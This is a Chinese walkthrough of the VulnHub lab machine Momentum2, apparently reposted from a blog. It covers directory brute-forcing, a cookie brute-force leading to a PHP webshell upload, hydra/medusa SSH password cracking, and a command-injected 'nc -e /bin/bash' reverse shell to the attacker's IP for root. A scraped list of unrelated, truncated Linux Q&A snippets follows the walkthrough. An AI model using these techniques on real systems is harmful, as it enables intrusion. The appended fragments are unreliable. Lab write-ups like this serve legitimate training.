vlunhub系列之Momentum2

2023-11-07

靶机Momentum2

如果主机发现发现不了ip地址请看这里:https://hackergu.com/vulnhub-ip/

arp-scan主机发现nmap端口扫描
在这里插入图片描述

端口扫描
在这里插入图片描述

发现并没有可以利用的内容
在这里插入图片描述在这里插入图片描述

我们使用dirb nikto 以及dirbuster进行目录爆破

dirb http://192.168.12.100/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -X .bak,.php,.html,.bak.php,.bak.bak,.php.bak   -X 指定后缀名 -w 指定字典

我们去看一下
在这里插入图片描述

这里可以将这个php的备份文件下载
在这里插入图片描述

这里找到一个传文件的
在这里插入图片描述

这里发现一个js的
在这里插入图片描述在这里插入图片描述在这里插入图片描述

这里是我们发现的所有内容
在这里插入图片描述在这里插入图片描述

这里我们分析这个js代码,意思是post请求传文件,并且将文件传递到ajax.php这里,然后通过ajax代码过滤之后,上传到指定路径,如果服务器响应为1则为上传成功
如果是其他的则为失败,所以我们要对ajax.php这我文件源码进行分析,而刚才我们将他下载了。
在这里插入图片描述

这个源码的意思是要在cookie的末尾加一个大写字母,并且是admin的cookie(&G6u@B6uDXMq&Ms),并且会增加一个新的post参数secure它的值为val1d,如果满足这些条件的话可以上传dpf php 以及txt,否则只能上传txt 所以我们这里需要去构建一个post的且有使用admin的cookie,然后传一个webshell
在这里插入图片描述

在这里我们也找到了上传路径,关于owls
在这里插入图片描述

所以我们构建好传一个webshell即可
在这里插入图片描述

这里我们构建完成,但是还需要cookie的最后一个大写字母,我们将其爆破出来
在这里插入图片描述

这里成功得到最后一个字母是R,所以这里我们成功的传入了我们的一句话
在这里插入图片描述

这里我们也找到
在这里插入图片描述

这里我们就可以使用蚁剑连接
在这里插入图片描述

这里成功连接
在这里插入图片描述

在这里找到第一个falg
在这里插入图片描述在这里插入图片描述

发现一个这个 从password文件中发现的

myvulnerableapp[Asterisk]   asterrisk是* 密码是myvulnerableapp*

这里我们并不知道后面是个什么 内容我们可以使用hydra爆破一下,我们生成与myvulnerableapp相关的字典

crunch 16 16 -t myvulnerableapp, >> password.txt
crunch 16 16 -t myvulnerableapp@ >> password.txt
crunch 16 16 -t myvulnerableapp% >> password.txt
crunch 16 16 -t myvulnerableapp^ >> password.txt

生成一个字典
在这里插入图片描述

使用hydra爆破,因为这个在athena这个家目录下面发现的,所以我们用户名使用这个尝试

hydra -l athena -P /root/password.txt  -e ns 192.168.12.100 ssh

使用-l 指定用户 -P 指定字典
在这里插入图片描述

成功拿下

medusa -h 192.168.12.100 -u athena -P /root/password.txt -M ssh -f

使用medusa也能拿下
在这里插入图片描述

那我们就ssh登陆

ssh athena@192.168.12.100
athena@192.168.12.100's password:myvulnerableapp*

但是这里并非root,我们需要提权
在这里插入图片描述

这里我们可以看到我们可以使用一个python的文件来提权,我们去看一下
在这里插入图片描述在这里插入图片描述

查看文件的内容,脚本的意思是,在运行脚本时会要求输入一个seed,这个seed会echo到log.txt文件中,在echo时会执行bash命令,所以这里直接反弹一个shell就可以提权了!
在这里插入图片描述

这里我们本地监听1111 直接反弹1111且弹一个/bin/bash即可

Enter the seed : ;nc -e /bin/bash 192.168.12.20 1111;  这里需要一个; 要不然不成功

在这里插入图片描述

成功弹上
在这里插入图片描述

拿下!
希望对各位有帮助,后续的靶机还在持续更新中!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

vlunhub系列之Momentum2 的相关文章

  • 使用 linux perf 工具测量应用程序的 FLOP

    我想使用 perf Linux 性能计数器子系统的新命令行接口命令 来测量某些应用程序执行的浮点和算术运算的数量 出于测试目的 我使用了我创建的一个简单的虚拟应用程序 请参见下文 因为我找不到任何为测量 FP 和整数运算而定义的 perf
  • 访问 Linux 线程(pthreads)的本地堆栈

    我目前正在实现一个使用多线程但对总内存消耗有要求的应用程序 我希望有一个主线程执行 I O 并有几个工作线程执行计算 目前 我在主堆栈上有几个可供工作人员访问的数据结构 我使用 OpenMP 进行工作分配 由于主 工作者模式不能很好地与 O
  • Linux shell 命令逐块读取/打印文件

    是否有一个标准的 Linux 命令可以用来逐块读取文件 例如 我有一个大小为 6kB 的文件 我想读取 打印第一个 1kB 然后是第二个 1kB 看来猫 头 尾在这种情况下不起作用 非常感谢 你可以这样做read n在循环中 while r
  • 如何查找或计算Linux进程的页表大小和其他内核占用?

    我怎样才能知道 Linux 进程页表有多大 以及任何其他可变大小的进程统计 如果您真的对页表感兴趣 请执行以下操作 cat proc meminfo grep PageTables PageTables 24496 kB
  • 操作系统崩溃的常见原因[关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我有兴趣了解 操作系统崩溃 不限于Windows崩溃 最常见的技术原因 从操作系统编程的角度 有哪些 我正在寻找一个不像 打开太多应用
  • 如何真正释放 Linux 中的大页面以供新进程使用?

    真的找不到太多关于此的信息 希望有人可以提供帮助 我正在假脱机使用 100GB java 堆作为大数据缓存 为了避免与文件系统缓存等内容发生冲突 并且因为它通常性能更好 我将其分配在大页面中 我保留了 51 200 x 2MB 大页面 一切
  • 如何使用sprof?

    请举例说明 从邮件中找到here http sources redhat com ml libc alpha 2003 07 msg00029 html and here http sourceware org ml binutils 20
  • bash双括号问题

    我对 bash 脚本非常陌生 在使用双括号时遇到了问题 我似乎无法让它们在 Ubuntu Server 11 10 中工作 我的下面的脚本位于 if test sh 中 bin bash if 14 14 then echo FOO fi
  • 在64位操作系统上以32位模式和64位模式编译ioctl函数的执行有什么不同?

    我有 64 位 Enterprise SuSE 11 我有一个应用程序 它打开 HIDRAW 设备并在其上操作 ioctl 函数以从该设备获取原始信息 如下所示 struct hidraw devinfo devinfo int fd op
  • 跟踪 pthread 调度

    我想做的是创建某种图表 详细说明 Linux 中 两个 线程的执行情况 我不需要查看线程的作用 只需查看它们何时被安排以及持续多长时间 基本上是一条时间线 在过去的几个小时里 我一直在互联网上搜索跟踪 pthread 调度的方法 不幸的是
  • 使用 sed 将 old-link-url 替换为 new-link-url

    我正在 bash 中编写一个脚本 将 old link url 替换为 new link url 我的问题是 sed 由于斜杠而无法替换 url 如果我只输入一些文字就可以了 my code sed e s old link new lin
  • 将 stdout 作为命令行 util 的文件名传递?

    我正在使用一个命令行实用程序 该实用程序需要传递文件名以将输出写入 例如 foo o output txt 它唯一写入的东西stdout是一条消息 表明它运行成功 我希望能够通过管道传输写入的所有内容output txt到另一个命令行实用程
  • 如何从“git log”中查看 Git 中的特定版本?

    My git log显示为 enter code here git trial git log commit 4c5bc66ae50780cf8dcaf032da98422aea6e2cf7 Author king lt email pro
  • 如何使用ffmpeg重叠和合并多个音频文件?

    我正在尝试将多个音频文件合并到一个文件中 但我可以使用以下命令来连接 而不是连接 ffmpeg v debug i file1 wav i file2 wav i file3 wav filter complex 0 0 concat n
  • 如何仅将整个嵌套目录中的头文件复制到另一个目录,在复制到新文件夹后保持相同的层次结构

    我有一个目录 其中有很多头文件 h 和其他 o 和 c 文件以及其他文件 这个目录里面有很多嵌套的目录 我只想将头文件复制到一个单独的目录 并在新目录中保留相同的结构 cp rf oldDirectory newDirectory将复制所有
  • 如何在 Linux x86_64 上模拟 iret

    我正在编写一个基于 Intel VT 的调试器 由于当 NMI Exiting 1 时 iret 指令在 vmx guest 中的性能发生了变化 所以我应该自己处理vmx主机中的NMI 否则 guest会出现nmi可重入错误 我查了英特尔手
  • sqlite 插入需要很长时间

    我正在将不到 200 000 行插入到 sqlite 数据库表中 我只是在终端中通过 sqlite3 使用一个非常简单的 sql 文件 我打赌它已经运行了至少 30 分钟 这是正常现象还是我应该关闭该过程并尝试不同的方法 sqlite中的插
  • 错误:NVIDIA-SMI 失败,因为无法与 NVIDIA 驱动程序通信

    NVIDIA SMI 抛出此错误 NVIDIA SMI 失败 因为无法与 NVIDIA 通信 司机 确保安装了最新的 NVIDIA 驱动程序并且 跑步 我清除了 NVIDIA 并按照提到的步骤重新安装了它here https askubun
  • Linux命令列出所有可用命令和别名

    是否有一个 Linux 命令可以列出该终端会话的所有可用命令和别名 就好像您输入 a 并按下 Tab 键一样 但针对的是字母表中的每个字母 或者运行 别名 但也返回命令 为什么 我想运行以下命令并查看命令是否可用 ListAllComman
  • 是否从页面缓存中的脏页面进行文件读取?

    当字节写入文件时 内核不会立即将这些字节写入磁盘 而是将这些字节存储在页缓存中的脏页中 回写缓存 问题是 如果在脏页刷新到磁盘之前发出文件读取 则将从缓存中的脏页提供字节 还是首先将脏页刷新到磁盘 然后进行磁盘读取以提供字节 将它们存储在进

随机推荐

  • windows 安装 minio

    windows 安装 minio 1 通过powershell 安装 Invoke WebRequest Uri https dl min io server minio release windows amd64 minio exe Ou
  • 小试一下Google App Engine

    这两天关心了一下云 所以也看到google app engine了 今天小小试了一下 做下记录 主页 登录http code google com intl zh CN appengine 下载 App Engine SDK GoogleA
  • 使用StarRocks导入大数据:详细教程及示例代码

    使用StarRocks导入大数据 详细教程及示例代码 StarRocks是一个快速 可扩展的大数据分析引擎 它提供了高性能的数据导入功能 在本文中 我们将介绍如何使用StarRocks导入大数据 并提供相应的示例代码 步骤1 准备工作 在开
  • 云计算平台常用命令

    云计算IAAS篇 mysql篇 mysql uroot p000000 使用root账号登录mysql use mysql 切换到mysql层 show tables 查询mysql数据库列表 select from mysq
  • linux高性能服务器开发之TCP/IP协议族(1)

    TCP IP协议族体系结构以及主要协议 每层协议完成不一样的功能 上层协议得借助下层协议提供的服务 计网 数据链物层 数据链物层实现网卡接口的网络驱动程序 网络驱动程序隐藏一些 物理层不同电气特性 为上层提供一个统一的接口 常用的协议ARR
  • 【中兴ZXV10 B860A1.1】

    这里写自定义目录标题 开启adb 开启adb 部分盒子的ADB调试位置 在设置页面中可以有开启开发者选项 地区界面不同 位置不同有的在设置里 如果找不到 直接按住遥控器 返回 不放 5秒后 快速不停按 左键 点击 打开ADB调试 这时侯让你
  • 2021-08-04 读书笔记:Python 学习手册(2)

    读书笔记 Python 学习手册 2 结于2021 08 04 OREILY的书籍 可读性很强 入门类 而且这本书很厚 第三部分 语句和语法 第四部分 函数 第三部分 语句和语法 第10章 Python语句简介 Python是面向过程的 基
  • 程序或-内存区域分配(五个段)--终于搞明白了

    一 在学习之前我们先看看ELF文件 ELF分为三种类型 o 可重定位文件 relocalble file 可执行文件以及共享库 shared library 三种格式基本上从结构上是一样的 只是具体到每一个结构不同 下面我们就从整体上看看这
  • DC系列漏洞靶场-渗透测试学习复现(DC-1)

    最近闲着冲浪玩发现了DC系列漏洞靶场 下载了8个靶场 DC 1到DC 8 从信息收集到最后拿到超级管理员权限 可以说几乎贯穿了渗透测试的每一步 寻找一个个flag 通过flag中的指引内容 帮助我们拿到最后的root身份 过程还是挺有趣的
  • Jvm之垃圾回收机制

    判断一个对象是否可被回收 1 引用计数算法 给对象添加一个引用计数器 当对象增加一个引用时计数器加 1 引用失效时计数器减 1 引用计数为 0 的对象可被回收 两个对象出现循环引用的情况下 此时引用计数器永远不为 0 导致无法对它们进行回收
  • vue中使用闭包(例如防抖和节流)失效问题(直接调用)

    文章目录 1 出现问题 2 问题原因 3 解决办法 4 防抖节流函数 1 出现问题 防抖 节流使用无效 例如防抖 按钮点击多次依旧执行多次 gt 查看是闭包无效 定义的局部变量依旧为初值 gt 没有相应清除定时器
  • Ubuntu安装MonoDevelop

    安装步骤 在ubuntu终端执行下面步骤代码 第一步 安装源 根据自己的版本在Ubuntu上安装Mono 运行下面代码授权注册repo源并更新软件列表 Ubuntu 18 04 sudo apt install apt transport
  • Vue3之Vuex

    1 Vuex的基本使用 2 Module 2 1 vuex中模块化的基本使用 2 2 在命名空间中访问全局内容 3 vuex的typescript用法 3 1 不使用模块化 3 2 使用模块化 1 Vuex的基本使用 vuex的安装 npm
  • python利用selenium(webdriver chrome)模拟登陆获取cookie

    我是在windows下进行实验的 准备工作 1 安装python环境 2 python安装selenium插件 执行以下命令就行 pip install selenium 3 Windows下配置webdriver chrome 如果以上准
  • 天气预报小程序 微信小程序期末大作业(含文档)

    天气预报微信小程序 运行正常无错误 下载链接在文末 详情如下图 点我下载资源 https download csdn net download weixin 43474701 58813129
  • golang中的TLS

    HTTP和 HTTPS https和http都属于应用层 基于TCP 以及UDP 协议 但是不同的是 HTTP 缺省工作在TCP协议80端口 HTTPS缺省工作在TCP协议443端口 HTTPS服务不同于HTTP服务 HTTPS是HTTP
  • 数字IC,三大核心代码架构之计数器(verilo实列)

    简介 计数器设计是数字IC设计 的核心 也是最常用的代码片段 通过记录时钟周期个数 可以控制电路的时序 通过计数器可以实现测量 计数 状态控制 分频 计数器有触发器和逻辑门共同构成 计数器设计要素 1 初始值是多少 这里要考虑的是复位信号和
  • Swagger统一Authorization认证

    Swagger统一Authorization认证 1 Swagger Authorization 2 Code 3 Awakening 摘自 https blog csdn net qq 23035335 article details 1
  • python离线安装wheel_使用 pip wheel 实现 Python 依赖包的离线安装

    pip python 依赖 安装 有时候 需要部署 Python 应用的服务器没有网络连接 这时候 你就要把整个 Python 应用做成离线安装包 借助 wheel 很容易就可以实现 首先 你的开发机器上要安装 wheel pip inst
  • vlunhub系列之Momentum2

    靶机Momentum2 如果主机发现发现不了ip地址请看这里 https hackergu com vulnhub ip arp scan主机发现nmap端口扫描 端口扫描 发现并没有可以利用的内容 我们使用dirb nikto 以及dir